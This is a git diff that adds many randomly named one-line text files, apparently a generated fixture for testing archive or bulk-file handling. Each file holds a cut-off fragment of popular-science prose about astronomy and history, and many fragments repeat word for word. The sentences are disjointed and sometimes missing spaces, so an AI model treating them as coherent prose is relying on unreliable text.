diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_nznljvsfvs.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_nznljvsfvs.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_nznljvsfvs.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_pykywfvcsfxbdahnyr.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_pykywfvcsfxbdahnyr.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_pykywfvcsfxbdahnyr.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_qujunefhajcgbcra.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_qujunefhajcgbcra.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_qujunefhajcgbcra.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_vgtdxmtptpdceachemubmkfu.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_vgtdxmtptpdceachemubmkfu.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_vgtdxmtptpdceachemubmkfu.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_zrhsutvflwvazvcekb.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_zrhsutvflwvazvcekb.txt
new file mode 100644
index 0000000..7de41a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/file_zrhsutvflwvazvcekb.txt
@@ -0,0 +1 @@
+set of cycles? There are ways to find out: by making an accurate census of the total amount
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/amrhooccnlgq.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/amrhooccnlgq.txt
new file mode 100644
index 0000000..445f80d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/amrhooccnlgq.txt
@@ -0,0 +1 @@
+eroded remnants of a derelict spacecraft from a distant planet, utterly invisible through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/asliabakwljvpndohp.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/asliabakwljvpndohp.txt
new file mode 100644
index 0000000..03d7ccf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/asliabakwljvpndohp.txt
@@ -0,0 +1 @@
+formation of the solar system. Since there are more small objects than large ones, there
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/biixrqudqlgrcgx.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/biixrqudqlgrcgx.txt
new file mode 100644
index 0000000..4c6b1e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/biixrqudqlgrcgx.txt
@@ -0,0 +1 @@
+COSMOS
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/eaxrcnzelnelkx.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/eaxrcnzelnelkx.txt
new file mode 100644
index 0000000..598a1a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/eaxrcnzelnelkx.txt
@@ -0,0 +1 @@
+temperatures and pressures. The helium nuclei will be jammed together still more tightly,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/ecrjvsfrcp.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/ecrjvsfrcp.txt
new file mode 100644
index 0000000..f839a78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/ecrjvsfrcp.txt
@@ -0,0 +1 @@
+By one billion years ago, plants, working cooperatively, had made a stunningchange in the environment of the Earth. Green plants generate molecular oxygen. Since the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_crefpfwhdkmdlftcgfzxlrsy.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_crefpfwhdkmdlftcgfzxlrsy.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_crefpfwhdkmdlftcgfzxlrsy.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_djfizcpxnayfniezrgjmgr.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_djfizcpxnayfniezrgjmgr.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_djfizcpxnayfniezrgjmgr.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_eymbfwkguijctucpx.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_eymbfwkguijctucpx.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_eymbfwkguijctucpx.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_fozetjcmywktbd.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_fozetjcmywktbd.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_fozetjcmywktbd.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_gfncemlcw.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_gfncemlcw.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_gfncemlcw.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_hgoafwgaq.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_hgoafwgaq.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_hgoafwgaq.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_hsiomlpxvnhg.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_hsiomlpxvnhg.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_hsiomlpxvnhg.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_hsvldrbufnjgwqbd.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_hsvldrbufnjgwqbd.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_hsvldrbufnjgwqbd.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_iwtwrpicgabvy.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_iwtwrpicgabvy.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_iwtwrpicgabvy.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_khapjggsgvqniqbdpuf.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_khapjggsgvqniqbdpuf.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_khapjggsgvqniqbdpuf.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_lqdncznfqzzlvxqrxk.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_lqdncznfqzzlvxqrxk.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_lqdncznfqzzlvxqrxk.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_nvxhspfikxayarrbdsagruc.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_nvxhspfikxayarrbdsagruc.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_nvxhspfikxayarrbdsagruc.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_qinsvxmbtnieusmsvdcs.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_qinsvxmbtnieusmsvdcs.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_qinsvxmbtnieusmsvdcs.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_qvoovvuyqczu.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_qvoovvuyqczu.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_qvoovvuyqczu.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_rshfgrcjwbpspw.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_rshfgrcjwbpspw.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_rshfgrcjwbpspw.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_syueuxciorhhe.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_syueuxciorhhe.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_syueuxciorhhe.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_tmzwgnbqkm.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_tmzwgnbqkm.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_tmzwgnbqkm.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_uoeatrrgkkc.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_uoeatrrgkkc.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_uoeatrrgkkc.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_uzbgiqyqe.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_uzbgiqyqe.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_uzbgiqyqe.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_woclglklvspmkexpxqcjnj.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_woclglklvspmkexpxqcjnj.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_woclglklvspmkexpxqcjnj.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_wznqefrukmliuefjmivzjb.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_wznqefrukmliuefjmivzjb.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_wznqefrukmliuefjmivzjb.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_xcjnruweje.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_xcjnruweje.txt
new file mode 100644
index 0000000..2f11ae5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/file_xcjnruweje.txt
@@ -0,0 +1 @@
+As the solar system condensed out of interstellar gas and dust, Jupiter acquired most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/gumzreullwvfqzxglmubmpi.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/gumzreullwvfqzxglmubmpi.txt
new file mode 100644
index 0000000..5d12f04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/gumzreullwvfqzxglmubmpi.txt
@@ -0,0 +1 @@
+books by and about the ancient geographers, including Eratosthenes, Strabo and Ptolemy.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/hjfemvnggebzcnkm.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/hjfemvnggebzcnkm.txt
new file mode 100644
index 0000000..f96ad6f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/hjfemvnggebzcnkm.txt
@@ -0,0 +1 @@
+We move in accord with laws of nature that Kepler first discovered. When we send
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/ilaqfltdozoz.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/ilaqfltdozoz.txt
new file mode 100644
index 0000000..328f4de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/ilaqfltdozoz.txt
@@ -0,0 +1 @@
+pills and gas masks, the latter an eerie premonition of the battlefields of World War 1.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/lwivikptzpivvjtcn.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/lwivikptzpivvjtcn.txt
new file mode 100644
index 0000000..b645f40
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/lwivikptzpivvjtcn.txt
@@ -0,0 +1 @@
+until, in the year 415, on her way to work she was set upon by a fanatical mob of Cyril’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/nazemsjxcrsdduog.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/nazemsjxcrsdduog.txt
new file mode 100644
index 0000000..c8104df
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/nazemsjxcrsdduog.txt
@@ -0,0 +1 @@
+diversity of living things on Earth, all of which share the same planet and an identical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/nbxwsdbqi.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/nbxwsdbqi.txt
new file mode 100644
index 0000000..d783b88
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/nbxwsdbqi.txt
@@ -0,0 +1 @@
+black animal skin, thrown up over the sky. There are holes in the skin. We look through theholes. And we see flame. His thought is not just that there is flame in a few places where we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/odbnwgoltnjtxgkfpki.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/odbnwgoltnjtxgkfpki.txt
new file mode 100644
index 0000000..6d492d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/odbnwgoltnjtxgkfpki.txt
@@ -0,0 +1 @@
+would have failed utterly.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/pcrkpmgxzcapzuigrj.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/pcrkpmgxzcapzuigrj.txt
new file mode 100644
index 0000000..16e7c65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/pcrkpmgxzcapzuigrj.txt
@@ -0,0 +1 @@
+Corinth Canal, in 1893; the Panama Canal, in 1914; and, closer to home, the Great Lake
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/pmftaybzqxxcmrrk.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/pmftaybzqxxcmrrk.txt
new file mode 100644
index 0000000..f3536ff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/pmftaybzqxxcmrrk.txt
@@ -0,0 +1 @@
+audiences would be progressively disinterested as Mars was revealed to be less and less
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/rimxdkgtejpayr.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/rimxdkgtejpayr.txt
new file mode 100644
index 0000000..b0f6171
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/rimxdkgtejpayr.txt
@@ -0,0 +1 @@
+considered such mechanical contrivances far beneath the dignity of science.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/rsqanqqqndjiue.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/rsqanqqqndjiue.txt
new file mode 100644
index 0000000..d296947
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/rsqanqqqndjiue.txt
@@ -0,0 +1 @@
+To examine the individual particles composing the rings of Saturn, we mustapproach them closely, for the particles are small - snowballs and ice chips and tiny
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/rwnsvsbbrvr.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/rwnsvsbbrvr.txt
new file mode 100644
index 0000000..8fdfa0b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/rwnsvsbbrvr.txt
@@ -0,0 +1 @@
+some alarms and emergencies, but the combined intelligence of the humans on Earth and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/thpioxdydkmnxqsguwvvgn.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/thpioxdydkmnxqsguwvvgn.txt
new file mode 100644
index 0000000..54c2f17
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/thpioxdydkmnxqsguwvvgn.txt
@@ -0,0 +1 @@
+chance they encounter some high-altitude atmospheric molecule and are removed from the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/txtidaqmp.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/txtidaqmp.txt
new file mode 100644
index 0000000..ac07057
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/txtidaqmp.txt
@@ -0,0 +1 @@
+interstellar atoms and make them electrically charged while they are still some distance
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/viuearrhylm.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/viuearrhylm.txt
new file mode 100644
index 0000000..e06d784
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/viuearrhylm.txt
@@ -0,0 +1 @@
+Jupiter is also surrounded by a ring of solid debris, discovered four months earlier by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/wipqojcmnxf.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/wipqojcmnxf.txt
new file mode 100644
index 0000000..e4e4196
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/wipqojcmnxf.txt
@@ -0,0 +1 @@
+cosmic drama.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/wmampyqeofaaunwyvomas.txt b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/wmampyqeofaaunwyvomas.txt
new file mode 100644
index 0000000..09bb558
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fogosbxway/folder_emfklzrktv/folder_gemacehuef/folder_tiywsppisq/wmampyqeofaaunwyvomas.txt
@@ -0,0 +1 @@
+in water. If you pull it out with the neck uncovered, the water pours out of the holes,
\ No newline at end of file
